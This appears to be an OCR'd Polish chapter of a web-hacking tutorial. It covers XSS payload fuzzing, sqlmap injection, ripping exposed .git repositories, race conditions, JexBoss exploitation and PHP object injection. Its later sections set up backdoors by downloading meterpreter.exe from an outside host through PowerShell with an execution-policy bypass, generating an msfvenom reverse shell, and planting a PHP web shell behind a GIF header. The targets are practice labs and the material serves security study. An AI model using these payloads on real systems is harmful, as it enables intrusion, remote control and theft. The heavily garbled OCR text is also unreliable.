Wykorzystanie aplikacji internetowych — poza OWASP Top 10
Wprowadzenie

W OWASP Top 10 zazwyczaj widzimy najczestszy sposéb znajdowania i wykorzystywania luk. Tutaj
oméwimy niektdre z nietypowych przypadkéw, na ktére mozna sie natkngc¢ podczas polowania na
btedy w aplikacji internetowej.

Wykorzystanie XSS za pomocg XSS Validator

Chociaz XSS jest juz wykrywany przez rézne narzedzia, takie jak Burp, Acunetix itd., XSS Validator
okazuje sie przydatny. To Burp Intruder i Extender zostaty zaprojektowane do automatycznego
sprawdzania luk XSS.

Przygotowanie

Aby uzy¢ narzedzia w ponizszym przepisie, bedziemy musieli mie¢ zainstalowane SlimerJS i PhantomlS
na naszych komputerach.

Jak to zrobi¢...
Ponizsze kroki demonstrujg XSS Validator:
1. Otwieramy Burp i przetaczamy sie na karte Extender:

TZar ]
Wadler _/I

X55 Validator

COE

[ Refresh list | | Manual install ... [

2. Nastepnie instalujemy rozszerzenie XSS Validator:



This extension sends responses to alocally-running X55-Detector server, powe

Before starting an attack it is necessary to start the ¥55-Detector servers. Mavigg

% phantomjs xss.js &
1 slimerjs slimer .js &

The server will listen by default on port 8093, The server is expecting base@4 en
Burp extender.

Mavigate to the xssValidator tab, and copy the value for Grep Phrase. Enter this
Phrase indicate successiul execution of X355 payload.

Within the xss-detectar directory there is a folder of examples which can be use

@ Basic-xss.php: This Is the most basic example of a web application that 15 vi
alerts and console logs, do not trigger false-positives.

@ Bypasz-regex.php: This demonstrates a ¥55 vulnerability that occurs when

@ Dom-xss.php: A basic script that demonstrates the tools ahility to inject pa

Requires Java version 7

Author: John Poulin

Versiom 1.3.0

Rating: 1

[ Install

3. Po zakoniczeniu instalacji w oknie Burp pojawi sie nowa karta zatytutowana xssValidator:

KEEVANOAror IS an Intruder extander with a customizable ST of payloaas, that couples
with the Phantom.js and 5iimer Js scripiable browsers o provige validation
of cross-site scripting vulnerabifities.

xssValidator Getting startec:
Created By: john Poulin (i@forced-request) # Download latest wersion of xss-detectors from the git repository
Yersion: 1.3.0 ® Start the phantom server. phantomjs xKss.js

# Create a new intruder tab, select Extension-generated payload.
# Under the intreder options tab, add the Grep Phrase wo the Grep-March panel
® Successful attacks will be denoted by presence of the Crep Phrase

4. Nastepnie instalujemy PhantomlJS i SlimerJS; mozna to zrobi¢ w Kali za pomoca kilku prostych
polecen.

5. Pobieramy oba pliki PhantomlS z Internetu za pomocg wget:
sudo wget https://bitbucket.org/ariya/phantomjs/downloads/
phantomjs-1.9.8-linux-x86_64.tar.bz2

6. Wypakowujemy je za pomocg nastepujgcego polecenia:



tar jxvf phantomjs-1.9.8-linux-x86_64.tar.bz2

Ponizszy zrzut ekranu pokazuje folder, do ktérego poprzednie polecenie pobiera plik PhantomJS:

ME.md  third-party.txt

:fusr/local/share/phantomjs/bin# 1s
phantomjs

7. Teraz mozemy przegladac folder za pomoca cd, a najtatwiejszym sposobem jest skopiowanie pliku
wykonywalnego PhantomlS do /usr/bin:

cp phantomjs /usr/local/bin

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

:/usr/local/share/phamtomis/ bin#- cp phantomls fusr/local/blr 1

:/usr/local/share/phamtomis/bin# phantomijs -v

8. Aby to sprawdzi¢, mozemy wpisac polecenie phantomjs -v w terminalu, a on pokaze nam wersje.

9. Podobnie, aby zainstalowac Slimerl)S, pobieramy go z oficjalnej strony: http:/ / slimerjs. org/
download. html.

10. Najpierw instalujemy zaleznosci za pomocg nastepujgcego polecenia:
sudo apt-get install libc6 libstdc++6 libgccl xvfb

11. Teraz wypakowujemy pliki za pomocg tego:

tar jxvf slimerjs-0.8.4-linux-x86_64.tar.bz2

12. Nastepnie przeglagdamy katalog i po prostu kopiujemy plik wykonywalny SlimerlS do /usr/local/bin:

: /usr/local/share/slimerjs-0.10.2# 1s
application.ini LICENSE README.md slimerjs.bat vendors

chrome omni.ja slimerjs

13. Nastepnie wykonujemy nastepujgce polecenie:
cp slimerjs /usr/local/bin/

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

:Jusr/local/share/slimerjs-0.10.2# cp slimerjs fusr/local/bin/

14. Teraz musimy przej$¢ do folderu XSS Validator.
15. Nastepnie musimy uruchomié¢ serwer PhantomlJS i Slimer JS za pomocg nastepujgcych polecen:
phantomjs xss.js &

slimer js slimer.js &



16. Po uruchomieniu serwerdéw wracamy do okna Burp. Na karcie XSS Validator po prawej stronie
zobaczymy liste tadunkdw, ktdére extender przetestuje na zgdanie. Mozemy rdéwniez recznie

wprowadzié¢ wtasne tadunki:

Payloads
Custom Payloads can be defined here, seperated by linebreaks.

& {JAVASCRIPT} placeholders define the location of the Javascript function.
& {EVENTHAMNDLER} placeholders define location of Javascript events,
such as onmouseover, that are tested via scriptable browsers.

<sCript={JAVASCRIPT}< script>

<scr ipt={JAVASCRIPT}</scr ipt=
“mascript={JAVASCRIFT < fscript>
“wscript={JAVASCRIPT < fscripts <"

"= wscript>{JAVASCRIPT < /scripts

"= cscript={JAVASCRIPT < [scripts <
<SCRIPT={JAVASCRIPT} < /SCRIPT =
<sCri<script=pt={JAVASCRIPT} < /scr=/script=ipt>
<SCRI<script=PT>{JAVASCRIPT}, < /SCR</script>|PT=
<SCri<scr<script=ipt=pt={AVASCRIPT, < fscr</fsc< fscript>ript=ipts>
“{JAVASCRIPTE

CIAVASCRIPTY'

AIAVASCRIPTY,
<SCRHODIPT = {JAVASCRIPT }< fSCR&0O0IPT =
YOAVASCRIPTYff

<STYLE TYPE="text/javascript™={JAVASCRIPT}, < /STYLE=>
< < SCRIFT = {JAVASCRIPT}/ [ < < [SCRIPT =
HEVENTHAMDLER }={JAWVASCRIPT}

<< SCRIFT >{JAVASCRIPT}/ [ << (SCRIPT >

<img src="1" onerror="JAVASCRIPT} =

<img src="1" onerror="{JAVASCRIFTY
onerror="1JAVASCRIPT}Y

onerror="{|JAVASCRIPT}

onload="JAVASCRIPT}"

onload="{JAVASCRIPTY

<|MG " = < SCRIFT={JAVASCRIPT < [SCRIFT> "=

<IMG "> «SCRIPT ={JAVASCRIPT}< /SCRIPT="= r

e

U s SCRIPT={AVASCRIPT}
"= < SCRIPT ={JAVASCRIFTY
<|FRAME SRC="f' onerror="{JAVASCRIPT}"> < /IFRAME=> v

. Fn‘ BAC oy <] ira A A C ot LIC A R AT '
- L3

17. Nastepnie przechwytujemy zgdanie, ktére musimy zweryfikowaé za pomoca XSS.

18. Wybieramy opcje Wyslij do Intruza:

o listproducts.phy it=1 HTTI

phop.vulilnweb. m

..'—.-. ept-Charset: 150 SendtnSpider
o - “| Do an active scan
Do a passive scan

Send to Intruder




19. Nastepnie przechodzimy do okna Intruder i na karcie Positions ustawiamy pozycje, w ktérej
chcemy, aby nasze tadunki XSS byty testowane. Wartos¢ otoczona § to miejsce, w ktérym tadunki

zostang wstawione podczas ataku:

Attack type: l Sniper

20. Na karcie tadunki wybieramy typ tadunku jako wygenerowany przez rozszerzenie:

[anget T Pesiticns l' Payloads TDptinns ]
2] Payload Sets
You can define one or more paylcad sets. The number of payload sets depends on the
ways.
Payload set: | 1 vJ Payload count. unknown
Fayload type: [ Extension-generated TJ Feguest count: unknown

21. W Opcjach tadunku klikamy na Wybierz generator... i wybieramy tadunki walidatora XSS:

I N ) Select peyloed generator
2| Payload Options [Extension=-genear »| Select the extension=-provided payload generator that you
= = want o wse. Burp extensions can be loaded using the
This payload type invokes a Burp extensian Extender tool.

Selected generator: [NOT SELECTED
e g I ! Extensian payload generator | XS5 Validator Payloads 1']

| selecr generaror
_—

[ ok || Cancel |

?| Payload Processing

22. Nastepnie przechodzimy do zaktadki XSS Validator i kopiujemy fraze Grep; te fraze rowniez mozna
dostosowac:

ICrep Phrasa Tyl sdufeuidfiisdf

23. Nastepnie przechodzimy do zaktadki Opcje w Intruderze i dodajemy skopiowang fraze w Grep -
Match:



Grap - Match

@ These settings can be used to flag result items containing specified expressions.

[ Flag resultitems with responses matching these expressions:

Pasme fy7sdufsuidfhuisdf

%E?

| Add ]If‘y?;duisuidﬂ\uisdi

Match type: @ Simple string

-
=

24. Klikamy przycisk Rozpocznij atak, a pojawi sie okno:

Filter: Showing all items

Request Payload | Status | Error | Timeout | Length fy7s... 7| Comment
1 <script=alert(299792458)<... 200 ] | 4343 £
3 “script=confirm{29979245_. 200 (] O 4345 [}
E] <sCript=prompt(29979245... 200 O O 4346 #
12 s zscript=prompt{2097924... 200 O O 4345 #
19 "> <soriptzconfirm(2997924... 200 O O 4346 #
21 'rwscript=alerti299792458)... 200 O O 4033 [
27 <SCRIPT=confirm(2997924... 200 O O 4346 &
GG < <SCRIPT>consolelog(239... 200 (] O 4353 [}
68 <<SCRIPT>prompt(299752... 200 O [] 4348 @

25. Tutaj zobaczymy, ze zadania oznaczone znacznikiem wyboru w kolumnie Fraza Grep zostaty
pomysinie zweryfikowane:

Ataki typu Injection z wykorzystaniem sqlmap

Narzedzie sqlmap to narzedzie typu open source zbudowane w Pythonie, ktére umozliwia wykrywanie
i wykorzystywanie atakéw typu SQL injection. Ma petne wsparcie dla baz danych MySQL, Oracle,
PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM Db2, SQlite, Firebird, Sybase, SAP MaxDB,



HSQLDB i Informix. W tym przepisie oméwimy, jak uzywac sqlmap do testowania i wykorzystywania
atakéw typu SQL injection.

Jak to zrobi¢...
Oto kroki, aby uzy¢ sqlmap:

1. Najpierw zapoznajmy sie z pomoca sqlmap, aby lepiej zrozumieé jego funkcje. Mozna to zrobic¢ za
pomoca nastepujgcego polecenia:

sqlmap -h

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

=% sglmap -h
Isage: python sqlnep [options]

Optlons:

R ’

ruln . phpfid=1")

2. Aby przeskanowac adres URL, uzywamy nastepujgcego polecenia:
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

3. Po wykryciu zapytania SQL mozemy wybrac opcje yes (Y), aby poming¢ inne typy tadunkoéw:

it looks like the back-end DEMS is ‘MySOL'. Do you want to skip test payloads sp
ecific for other DEMSes? [Y/n] Y_

4. Po wykryciu kodu SQL mozemy wyswietli¢ nazwy baz danych, uzywajac flagi --dbs:

P vulnweb . comfartists.phpfartist=1" dos

5. Mamy juz bazy danych; w podobny sposéb mozemy uzyé flag --tables i -- columns, aby uzyskaé nazwy
tabel i kolumn:



-2

applic 2chno ': Nginx, PHP 5.3.10

2ilable databases

acuart
[*] LnTormation_schema

[*] shutting down at Q80

6. Aby sprawdzié, czy uzytkownik jest administratorem bazy danych, mozemy uzy¢ flagi --is-dba:

:~# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" is-dba_

7. Polecenie sqlmap ma wiele flag. Mozemy uzy¢ ponizszej tabeli, aby zobaczy¢ rdzne typy flag i ich
dziatanie:

Flag Operation

—--takles Dumps all table names

-T Specifies a table name to perform an operation on

——os—cmd Executes an operating system command

——oce-shell Prompts a command shell to the system

-r Specifies a filename to run the SQL test on

—-dump-all Dumps everything

—-tamper Uses a tamper script

—-eta Shows estimated time remaining to dump data

——dbz=Mzsql,M35QL, cracle | We can manually choose a database and perform injection for specific database types
only

—--proxy Specifies a proxy

Posiadanie wszystkich repozytoridow .svn i .git

To narzedzie stuzy do zgrywania systemodw z kontrolg wersji, takich jak SVN, Git i Mercurial/hg, Bazaar.
Narzedzie jest zbudowane w Pythonie i jest dos¢ proste w uzyciu. W tym przepisie dowiesz sie, jak
uzywac tego narzedzia do zgrywania repozytoriow. Ta luka istnieje, poniewaz w wiekszosci
przypadkow, gdy korzystamy z systemu z kontrolg wersji, programisci hostujg swoje repozytorium w
Srodowisku produkcyjnym. Pozostawienie tych folderéw umozliwia hakerowi pobranie catego kodu
zrédtowego.

Jak to zrobié...
Ponizsze kroki demonstrujg uzycie repozytoriéw:

1. Mozemy pobra¢ dvcs-ripper.git z GitHub, uzywajac:



git clone https://github.com/kost/dvcs-ripper.git

2. Przegladamy katalog dvcs-ripper:

:~/Desktop# cd /root/dvcs-ripper/

:~/dves-ripper# _

3. Aby zripowad repozytorium Git, polecenie jest bardzo proste:
rip-git.pl -v -u http://www.example.com/.git/

4. Pozwalamy mu dziataé, a nastepnie powinnismy zobaczy¢ utworzony folder .git, a w nim kod
zrodtowy:

test_pdf

Trendsutra

updatewarkorder.cs

ad agreements akamai apple-app-site- assets commen.php css
assoclation. txt
csvilles dummy.php faq_sample.csv favicon.ico fonts GeolP mages

magesCWS000113 magesCW9000114 mg s JSON_Logs maxmindGeolp merchantDocument
~5-PM2301.png ~S5-PM2301.png 5
minis newupload.csv order_summary,pdf pepperfry.php pupload

5. Podobnie, mozemy uzy¢ nastepujgcego polecenia, aby zripowac SVN:
rip-svn.pl -v -u http://www.example.com/.svn/
Wygrywajace warunki wyscigu

Warunki wyscigu wystepuja, gdy akcja jest wykonywana na tych samych danych w wielowatkowej
aplikacji internetowej. Zasadniczo powodujg nieoczekiwane rezultaty, gdy czas wykonania jednej akcji
wptywa na inng akcje. Niektdre przyktady aplikacji z podatnoscig na warunki wyscigu to aplikacja, ktdra
umozliwia transfer kredytu od jednego uzytkownika do drugiego lub aplikacja, ktéra umozliwia
dodanie kodu kuponu w celu uzyskania znizki, ktéra moze réwniez mieé¢ warunki wyscigu, co moze
umozliwié atakujgcemu wielokrotne uzycie tego samego kodu.

Jak to zrobié...
Mozemy wykona¢é atak typu race condition za pomocg Burp's Intruder w nastepujacy sposéb:

1. Wybieramy zadanie i klikamy na Send to Intruder:



njlotal Mac 0= ¥ 10 13s paya] |
send to splder

Do an active scan

Do apassive scan

Send to Intruder

Send to Repeater I+ +R
Send to Sequencer

Send to Comparer

Send to Decoder

2. Przechodzimy do zaktadki Opcje i ustawiamy liczbe watkdéw, zwykle wystarcza 20-25:

LEJ Reguest Engine
LQJ These settings control the engine used for making HT TP reguests when performing attacks.
Mumber of thraads: Zh
Mumber of recries on nenwor k failure: 3
Pause before retry (milliseconds): 2000
Throttle imilliseconds): &) Fixed 0
) Wariable: start @ step | 30000
Start time: = Immediataly
) In |10 minutes
) Paused

3. Nastepnie na karcie tadunki wybieramy tadunki puste w polu Typ tadunku, poniewaz chcemy
odtworzy¢ to samo zadanie:

@ Payload Sets

¥You can define one or more payload sets. The number of payload sets depends on the attack type

Ways.

Payload set: l 1 lj Payload count: 50

Payload type: [Null payloads Ej Reqguest count: 50
Lb Payload Options [Null payloads

This payload type generates payloads whose value is an empty string. With no payload markers co

@ Generate | 50 payloads

i) Continue indefinitely




4. Nastepnie w Opcjach tadunku wybieramy liczbe razy, ile razy chcemy, aby zgdanie zostato
odtworzone.

5. Poniewaz tak naprawde nie wiemy, jak aplikacja bedzie dziata¢, nie mozemy doktadnie zgadngc, ile
razy musimy powtorzyé zadanie.

6. Teraz klikamy Rozpocznij atak. Jesli atak sie powiedzie, powinnismy zobaczy¢ pozadany wynik.
Wykorzystywanie JBoss za pomocg JexBoss

JexBoss to narzedzie do testowania i wykorzystywania luk w zabezpieczeniach serwera aplikacji JBoss
i innych serwerdéw aplikacji Java (na przyktad WebLogic, GlassFish, Tomcat, Axis2 itd.). Mozna je pobraé
ze strony https:/ / github. com/ joaomatosf/ jexboss.

Jak to zrobic...

Zaczynamy od przejscia do katalogu, w ktérym sklonowaliSmy naszego JexBossa, a nastepnie
wykonujemy podane kroki:

1. Instalujemy wszystkie wymagania za pomocg nastepujgcego polecenia:
pip install -r requirements.txt

Ponizszy zrzut ekranu jest przyktadem poprzedniego polecenia:

je

xboss# pip install -r reqguires.t

2. Aby wyswietli¢ pomoc, wpisujemy:
python jexboss.py -h

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

3. Aby wykorzystac¢ hosta, po prostu wpisujemy nastepujgce polecenie:
python jexboss.py -host http://target_host:8080

Ponizszy zrzut ekranu jest przyktadem poprzedniego polecenia:



To pokazuje nam luki w zabezpieczeniach.

4. Wpisujemy yes aby kontynuowac eksploatacje:

5. To daje nam powtoke na serwerze:

Wykorzystywanie wstrzykiwania obiektéw PHP

Wstrzykiwanie obiektéw PHP ma miejsce, gdy niebezpieczne dane wejsciowe uzytkownika sg
przekazywane przez funkcje PHP unserialize(). Gdy przekazujemy serializowany cigg obiektu klasy do
aplikacji, aplikacja go akceptuje, a nastepnie PHP rekonstruuje obiekt i zwykle wywotuje magiczne
metody, jesli s zawarte w klasie. Niektdre z metod to _ construct(), _ destruct(), _ sleep() i
__wakeup(). Prowadzi to do wstrzykiwan SQL, dotgczania plikéw, a nawet zdalnego wykonywania
kodu. Jednak aby skutecznie to wykorzystaé¢, musimy zna¢ nazwe klasy obiektu.

Jak to zrobi¢...
Ponizsze kroki demonstrujg wstrzykiwanie obiektow PHP:

1. Tutaj mamy aplikacje, ktéra przekazuje serializowane dane w parametrze get:



hovwea fvulner abilities/php_object_injection/?r=a:2: {i:0;s:4:"}VWA";i:1;8:33. "Xtreme% 2 0Vulne rableX 2 0Web% 20Application”;}

PHP Object Injection

byrre Theugh PHP Object Injestion i not a very comman vulneratility and also difficult 1o explo
vulnerbility as this could lead an attacker to perform different kinds of malicious attacks, sug
tructions Traversal and Denial of Service, depending on the application context. PHP Object Injection|

inpuls are not sanitized properly before passing to the unserializef) PHP function at thg
sarialization, attackers could pass ad-hoo serlalized strings to a vulnerable unserialize]) cal
njection inte the application scope,

Read more about PHP Object Injection
hitps:/fwww.owasp.org/index. php/PHP_Object_Injection

L Injection

Etup / Reset

DL Injection (Blind)

B Command inpection

PATH Injacticn
XVWA - Xtreme Vulnerable Web Application

primula Injection

2. Poniewaz mamy kod Zrédtowy, zobaczymy, ze aplikacja uzywa funkcji __wakeup(), a nazwa klasy to
PHPObjectlnjection:

=tphp
class PHPObjectInjectiond{
public sSimject;
function __construct(){

1
function __ wakeup{){
if(issat({$this=-sinject)}{
eval($this==inject);
}
}

}
if{isseti{$ REQUEST['r']1}}{

tvarl=unserialize($ REQUEST['r']});

3. Teraz mozemy napisa¢ kod o tej samej nazwie klasy, aby wygenerowac serializowany obiekt
zawierajgcy nasze witasne polecenie, ktore chcemy wykonaé na serwerze:

<?php

class PHPObjectInjection{

public Sinject = "system('whoami');";
}

Sobj = new PHPObjectInjection;

var_dump(serialize(Sobj));



?>

4. Uruchamiamy kod, zapisujac go jako plik PHP, i powinnismy mie¢ serializowany wynik:

MacBook-Air:Desktop Himanshu$ php serialize.php
string(6R) “D:lB:”PHPUbjectInjEﬁtion“:1:{5:6:“injEct“;s:l?:“system{'whoami'];";}“

5. Przekazujemy ten wynik do parametru r i widzimy, ze tutaj pokazuje on uzytkownikowi:

n/?r=0:18:"PHPObjectinjection":1:{z:6:"inject";s:17:"system (%2 7whoami%2 7);":}

PHP Object Injection

Though PHF Object Injection is not a very common vulnerability and also difficult to exploft, but t is
vulnerbility as this could lead an attacker to perform different kinds of malicious attacks, such as Code
Traversal and Denial of Service, depending on the application context. PHP Object Injection vulnerabil
inputs are not sanitized properly before passing to the unserialize() PHP function at the server si
serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() calls, resulting
injection into the application scope.

Read more about PHP Cbject Injection
https://www.owasp.org/index.php/PHP_Object_Injection

dasmon

6. Sprobujmy przekazac jeszcze jedno polecenie, uname -a. Generujemy je za pomocg kodu PHP, ktory
stworzylismy:

=Tphp
class PHPObjectImjection
{
public $inject = “system('uname -a');";
}

$0bj = new PHPObjectInjection;
var_dump(serialize($objl);
T=

7. Nastepnie wklejamy wynik do adresu URL:



hp_object_injection/?r=0:18:"PHPObjectinjection":1:{s:6:"inject";5:19:"system(' uname -a'};";}

PHP Object Injection

Though PHP Object Injection is not a very commeon vulnarability and also difficult to exploit, oo
vulnerbility as this could lead an attacker to perform differsnt kinds of malicious attacks, such as)
Traversal and Denial of Service, depending on the application context. PHP Obiject Injection vuln

8. Teraz widzimy, ze polecenie jest wykonywane, a wynik wyglgda nastepujgco:

GLICK HERE

Darwin MacBook=-Airlocal 16.1.0 Darwin Kernal Varsion 16.1.0: Thu Oet 13 21:28:57 PDT 2016; raot:xniu-
3789.21.3~60/RELEASE_XB5_64 x86_54

Tylne furtki przy uzyciu powtok internetowych

Przesytanie powtok jest fajne; przesytanie powtok internetowych daje nam wiecej mozliwosci
przegladania serweréw. W tym przepisie poznasz kilka sposobdéw, w jakie mozemy przesta¢ powtoke
na serwer.

Jak to zrobié...
Ponizsze kroki demonstrujg uzycie powtok internetowych:

1. Najpierw sprawdzamy, czy uzytkownik jest administratorem baz danych, uruchamiajgc sqlmap z
flagg --is-dba:

[12:38:38] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008

[12:38:38] INFO] testing if rent user DBA

current user is DBA: True

2. Nastepnie uzywamy os-shell, ktéry wyswietla nam powtoke. Nastepnie uruchamiamy polecenie, aby
sprawdzié, czy mamy uprawnienia:

whoami

Ponizszy zrzut ekranu jest przyktadem poprzedniego polecenia:



os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]

\ ~1)

command standard output [1]:
[*] nt authority\system

3. Na szczescie mamy uprawnienia administratora. Ale nie mamy RDP dostepnego dla uzytkownikow
zewnetrznych. Sprébujmy innego sposobu uzyskania dostepu do meterpretera za pomocg programu
PowerShell.

4. Najpierw tworzymy obiekt System.Net.WebClient i zapisujemy go jako skrypt PowerShell w
systemie:

echo SWebClient = New-Object System.Net.WebClient > abc.ps1

5. Teraz tworzymy nasz meterpreter.exe za pomocg msfvenom, uzywajgc nastepujacego polecenia:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Twdj adres IP>

LPORT=<Twoj port do potgczenia> -f exe > shell.exe

6. Teraz musimy pobrac nasz meterpreter, wiec dotgczamy nastepujgce polecenie do naszego skryptu
abc.psil:

echo SWebClientDownloadFile(http://odmain.com/meterpreter.exe,
"D:\video\b.exe") >> abc.ps1

Ponizszy zrzut ekranu jest przyktadem poprzedniego polecenia:

> echo $WebClient = New-Object System.Net.webClient > 3.psl
retrieve the command standard output? (Y/n/al Y

he lengtt f query output

pirievec
rand standard output [1]:

os-shell> echo $WebClient.DownloadFile("htt 1.exe”,"Di:\video\b.exe") »>> 3,psl
do you want to retrieve the command standard output? [Y/n/a] Y
[28:57:27] NFO] retrieved

f query ocutput

etrieved
cormand standard output [1]:
[*]

7. Domyslnie PowerShell jest skonfigurowany tak, aby zapobiegaé wykonywaniu skryptéw .psl w
systemach Windows. Istnieje jednak niesamowity sposdb na wykonywanie skryptéw. Uzywamy
nastepujgcego polecenia:

powershell -executionpolicy bypass -file abc.psl

Ponizszy zrzut ekranu jest przyktadem poprzedniego polecenia:



os—-shell= powershell -executionpolicy bypass —-file 3.psl

do you want to retrieve the command standard output? [Y/n/fa] ¥
[20:58:03] [INFO]
[2@: 4] [INFO]

[20 4] [INFO]
[20: 5] [INFO]
command standard output [1]:

[]

retri il
retriev the length of gquery output
retriev

8. Nastepnie przechodzimy do katalogu D:/video/meterpreter.exe, gdzie nasz plik zostat pobrany i
uruchamiamy go za pomocg nastepujgcego polecenia:

msfconsole

Poprzednie polecenie otworzy msf, jak pokazano na ponizszym zrzucie ekranu:

msf = use exploit/multi/handler
msf exploit( ) =
PAYLOAD == windows/meterpreter/reverse_tcp_dns
msf exploit( )=

msf exploit( ) o
Encoder == xB86/shikata
msf exploit( ) =
EXITFUNC => process
msf exploit( ) =
ExitOnSession == false
msf exploit( ) =
Iterations == 5

msf exploit| ) =

Exploit running as

set PAYLOAD windows/meterpreter/reverse_tc|
set LHOST &

set LPORT 4444

set Encoder x86/shikata_ga_nai

ga_nai

set EXITFUNC process

set ExitOnSession false

set Iterations 5

explait =j
background job.
Handler failed to bind to 1f
Started reverse TCP handler on ©.0.0.8:4444
Starting the payload handler...
Sending stage (957487 bytes) 1

Tylne furtki przy uzyciu meterpreteréw

Czasami mozemy réowniez natkngé sie na przesytanie plikow, ktére poczatkowo majg stuzy¢ do
przesytania plikow, takich jak Excel, zdjecia itd., ale istnieje kilka sposobdw, dzieki ktérym mozemy to
omingé. W tym przepisie zobaczysz, jak to zrobié.

Jak to zrobic...

Ponizsze kroki demonstrujg uzycie meterpreterdéw:

1. Tutaj mamy aplikacje internetowg, ktdra przesyta zdjecie:



w3lcom3!

to _
photo uploading.

2. Po przestaniu zdjecia w aplikacji widzimy to:

3. Zobaczmy co sie stanie jesli przeslemy plik .txt. Utworzymy go z testem jako danymi:

Y testoet ¥ N

test |

4. Sprébujmy to przestac:



5. Nasz obraz zostat usuniety! Moze to oznaczaé, ze nasza aplikacja wykonuje sprawdzenie rozszerzenia
pliku po stronie klienta lub serwera:

l; applil Ations¥ntmli+ml ;appla

6. Sprobujmy oming¢ kontrole po stronie klienta. Przechwytujemy zgdanie w Burp i probujemy zmienié
rozszerzenie w przestanych danych:




7. Teraz zmieniamy rozszerzenie z .txt na .txt;.png i klikamy dale;j:

png Image uploaded!

Read error! in /Applications/XAMPP/xamppfiles/htdocs/aa/unleash.php on line 16

but This is not an image! DELETED

Nadal jest usuwany, co méwi nam, ze aplikacja moze mie¢ kontrole po stronie serwera. Jednym ze
sposobéw na jej ominiecie bytoby dodanie nagtdwka obrazu wraz z kodem, ktéry chcemy wykonac.

8. Dodajemy nagtéwek GIF87a i prébujemy przestaé plik:

A potem przesytamy to:




9. Widzimy, ze plik zostat przestany.

10. Teraz prébujemy dodac nasz kod PHP:
<?php

Soutput = shell_exec('ls -lart");

echo "<pre>Soutput</pre>";

>

Ale nasze PHP nie zostato jeszcze wykonane.

11. Istniejg jednak rowniez inne formaty plikdw, takie jak .pht, .phtml, .phtm, .htm itd. Sprébujmy .pht.

Nasz plik zostat przestany.

12. Przegladamy plik i widzimy, ze zostat wykonany!



D localhost/as/upload/testt.php.pht

GIF87a;
MNotice: Undefined index: ¢ in /Applications/X A MPPF/xamppfiles/htdocs/aa‘upload/test1. php.pht on line 1

Warning: system(): Cannot execute a blank command in /Applications X AMPP/xamppfiles/htdocs/aa‘upload/testl.phy

13. Sprébujmy wykona¢ podstawowe polecenie:

?c=whoami

@ localhost/aa/ug

GIFR7a;dacmon

Widzimy, ze nasze polecenie zostato pomysinie wykonane i nasza powtoka zostata przestana na serwer.



